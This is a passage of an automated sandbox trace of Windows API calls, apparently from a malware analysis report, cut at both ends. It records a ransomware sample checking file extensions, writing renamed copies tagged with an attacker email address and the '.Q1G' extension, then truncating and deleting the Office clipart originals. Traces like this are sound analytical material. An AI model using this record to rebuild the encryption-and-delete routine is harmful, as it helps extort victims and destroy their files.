(lpString1=".dbf", lpString2=".WMF") returned -1 [0259.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63 [0259.716] lstrlenW (lpString=".1cd") returned 4 [0259.716] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0259.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63 [0259.716] lstrlenW (lpString=".jpg") returned 4 [0259.716] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0259.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63 [0259.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63 [0259.716] lstrlenW (lpString=".doc") returned 4 [0259.716] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0259.716] lstrlenW (lpString=".docx") returned 5 [0259.716] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0259.716] lstrlenW (lpString=".pdf") returned 4 [0259.716] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0259.716] lstrlenW (lpString=".xls") returned 4 [0259.716] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0259.716] lstrlenW (lpString=".xlsx") returned 5 [0259.716] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0259.716] lstrlenW (lpString=".ppt") returned 4 [0259.716] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0259.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63 [0259.716] lstrlenW (lpString=".zip") returned 4 [0259.716] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0259.717] lstrlenW (lpString=".rar") returned 4 [0259.717] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0259.717] lstrlenW (lpString=".bz2") returned 4 [0259.717] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0259.717] lstrlenW (lpString=".7z") returned 3 [0259.717] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0259.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63 [0259.717] lstrlenW (lpString=".dbf") returned 4 [0259.717] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0259.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63 [0259.717] lstrlenW (lpString=".1cd") returned 4 [0259.717] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0259.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63 [0259.717] lstrlenW (lpString=".jpg") returned 4 [0259.717] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0259.717] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0259.717] lstrlenW (lpString="J0107514.WMF") returned 12 [0259.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0261.046] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=12204) returned 1 [0261.046] CloseHandle (hObject=0x37c) returned 1 [0261.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf")) returned 0x20 [0261.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0261.279] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.279] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0261.280] GetLastError () returned 0x0 [0261.280] ReadFile (in: hFile=0x1f8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x2fac, lpOverlapped=0x0) returned 1 [0261.323] WriteFile (in: hFile=0x3dc, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x2fb0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x2fb0, lpOverlapped=0x0) returned 1 [0261.325] ReadFile (in: hFile=0x1f8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0261.325] WriteFile (in: hFile=0x3dc, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0261.325] SetEndOfFile (hFile=0x3dc) returned 1 [0261.325] CloseHandle (hObject=0x3dc) returned 1 [0261.325] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.325] SetEndOfFile (hFile=0x1f8) returned 1 [0261.327] CloseHandle (hObject=0x1f8) returned 1 [0261.327] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.327] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf")) returned 1 [0261.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63 [0261.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63 [0261.328] lstrlenW (lpString=".doc") returned 4 [0261.328] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.328] lstrlenW (lpString=".docx") returned 5 [0261.328] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0261.328] lstrlenW (lpString=".pdf") returned 4 [0261.328] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.328] lstrlenW (lpString=".xls") returned 4 [0261.328] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.328] lstrlenW (lpString=".xlsx") returned 5 [0261.328] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0261.328] lstrlenW (lpString=".ppt") returned 4 [0261.328] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63 [0261.328] lstrlenW (lpString=".zip") returned 4 [0261.329] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.329] lstrlenW (lpString=".rar") returned 4 [0261.329] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.329] lstrlenW (lpString=".bz2") returned 4 [0261.329] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.329] lstrlenW (lpString=".7z") returned 3 [0261.329] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63 [0261.329] lstrlenW (lpString=".dbf") returned 4 [0261.329] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63 [0261.329] lstrlenW (lpString=".1cd") returned 4 [0261.329] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63 [0261.329] lstrlenW (lpString=".jpg") returned 4 [0261.329] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63 [0261.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63 [0261.329] lstrlenW (lpString=".doc") returned 4 [0261.329] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.329] lstrlenW (lpString=".docx") returned 5 [0261.329] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0261.329] lstrlenW (lpString=".pdf") returned 4 [0261.329] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.329] lstrlenW (lpString=".xls") returned 4 [0261.329] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.329] lstrlenW (lpString=".xlsx") returned 5 [0261.329] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0261.329] lstrlenW (lpString=".ppt") returned 4 [0261.329] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63 [0261.329] lstrlenW (lpString=".zip") returned 4 [0261.329] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.329] lstrlenW (lpString=".rar") returned 4 [0261.329] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.329] lstrlenW (lpString=".bz2") returned 4 [0261.330] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.330] lstrlenW (lpString=".7z") returned 3 [0261.330] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63 [0261.330] lstrlenW (lpString=".dbf") returned 4 [0261.330] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63 [0261.330] lstrlenW (lpString=".1cd") returned 4 [0261.330] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63 [0261.330] lstrlenW (lpString=".jpg") returned 4 [0261.330] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.330] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0261.330] lstrlenW (lpString="J0107734.WMF") returned 12 [0261.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0261.331] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=3140) returned 1 [0261.331] CloseHandle (hObject=0x1f8) returned 1 [0261.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf")) returned 0x20 [0261.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0261.332] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.332] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0261.333] GetLastError () returned 0x0 [0261.333] ReadFile (in: hFile=0x1f8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0xc44, lpOverlapped=0x0) returned 1 [0261.334] WriteFile (in: hFile=0x3dc, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xc50, lpOverlapped=0x0) returned 1 [0261.335] ReadFile (in: hFile=0x1f8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0261.335] WriteFile (in: hFile=0x3dc, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0261.335] SetEndOfFile (hFile=0x3dc) returned 1 [0261.335] CloseHandle (hObject=0x3dc) returned 1 [0261.335] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.335] SetEndOfFile (hFile=0x1f8) returned 1 [0261.337] CloseHandle (hObject=0x1f8) returned 1 [0261.337] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.338] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf")) returned 1 [0261.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63 [0261.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63 [0261.338] lstrlenW (lpString=".doc") returned 4 [0261.338] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.338] lstrlenW (lpString=".docx") returned 5 [0261.338] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0261.338] lstrlenW (lpString=".pdf") returned 4 [0261.338] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.338] lstrlenW (lpString=".xls") returned 4 [0261.338] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.338] lstrlenW (lpString=".xlsx") returned 5 [0261.338] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0261.339] lstrlenW (lpString=".ppt") returned 4 [0261.339] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63 [0261.339] lstrlenW (lpString=".zip") returned 4 [0261.339] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.339] lstrlenW (lpString=".rar") returned 4 [0261.339] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.339] lstrlenW (lpString=".bz2") returned 4 [0261.339] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.339] lstrlenW (lpString=".7z") returned 3 [0261.339] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63 [0261.339] lstrlenW (lpString=".dbf") returned 4 [0261.339] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63 [0261.339] lstrlenW (lpString=".1cd") returned 4 [0261.339] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63 [0261.339] lstrlenW (lpString=".jpg") returned 4 [0261.339] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63 [0261.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63 [0261.339] lstrlenW (lpString=".doc") returned 4 [0261.339] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.339] lstrlenW (lpString=".docx") returned 5 [0261.339] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0261.339] lstrlenW (lpString=".pdf") returned 4 [0261.339] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.339] lstrlenW (lpString=".xls") returned 4 [0261.339] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.339] lstrlenW (lpString=".xlsx") returned 5 [0261.339] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0261.339] lstrlenW (lpString=".ppt") returned 4 [0261.339] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63 [0261.339] lstrlenW (lpString=".zip") returned 4 [0261.340] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.340] lstrlenW (lpString=".rar") returned 4 [0261.340] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.340] lstrlenW (lpString=".bz2") returned 4 [0261.340] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.340] lstrlenW (lpString=".7z") returned 3 [0261.340] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63 [0261.340] lstrlenW (lpString=".dbf") returned 4 [0261.340] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63 [0261.340] lstrlenW (lpString=".1cd") returned 4 [0261.340] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63 [0261.340] lstrlenW (lpString=".jpg") returned 4 [0261.340] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.340] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0261.340] lstrlenW (lpString="J0107742.WMF") returned 12 [0261.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0261.341] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=3644) returned 1 [0261.341] CloseHandle (hObject=0x1f8) returned 1 [0261.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf")) returned 0x20 [0261.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0261.341] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.341] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0261.342] GetLastError () returned 0x0 [0261.342] ReadFile (in: hFile=0x1f8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0xe3c, lpOverlapped=0x0) returned 1 [0261.343] WriteFile (in: hFile=0x3dc, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xe40, lpOverlapped=0x0) returned 1 [0261.344] ReadFile (in: hFile=0x1f8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0261.344] WriteFile (in: hFile=0x3dc, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0261.344] SetEndOfFile (hFile=0x3dc) returned 1 [0261.344] CloseHandle (hObject=0x3dc) returned 1 [0261.344] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.344] SetEndOfFile (hFile=0x1f8) returned 1 [0261.346] CloseHandle (hObject=0x1f8) returned 1 [0261.346] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.347] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf")) returned 1 [0261.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63 [0261.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63 [0261.347] lstrlenW (lpString=".doc") returned 4 [0261.347] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.347] lstrlenW (lpString=".docx") returned 5 [0261.347] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0261.347] lstrlenW (lpString=".pdf") returned 4 [0261.347] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.347] lstrlenW (lpString=".xls") returned 4 [0261.347] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.347] lstrlenW (lpString=".xlsx") returned 5 [0261.347] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0261.348] lstrlenW (lpString=".ppt") returned 4 [0261.348] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63 [0261.348] lstrlenW (lpString=".zip") returned 4 [0261.348] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.348] lstrlenW (lpString=".rar") returned 4 [0261.348] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.348] lstrlenW (lpString=".bz2") returned 4 [0261.348] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.348] lstrlenW (lpString=".7z") returned 3 [0261.348] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63 [0261.348] lstrlenW (lpString=".dbf") returned 4 [0261.348] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63 [0261.348] lstrlenW (lpString=".1cd") returned 4 [0261.348] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63 [0261.348] lstrlenW (lpString=".jpg") returned 4 [0261.348] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63 [0261.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63 [0261.348] lstrlenW (lpString=".doc") returned 4 [0261.348] lstrcmpiW 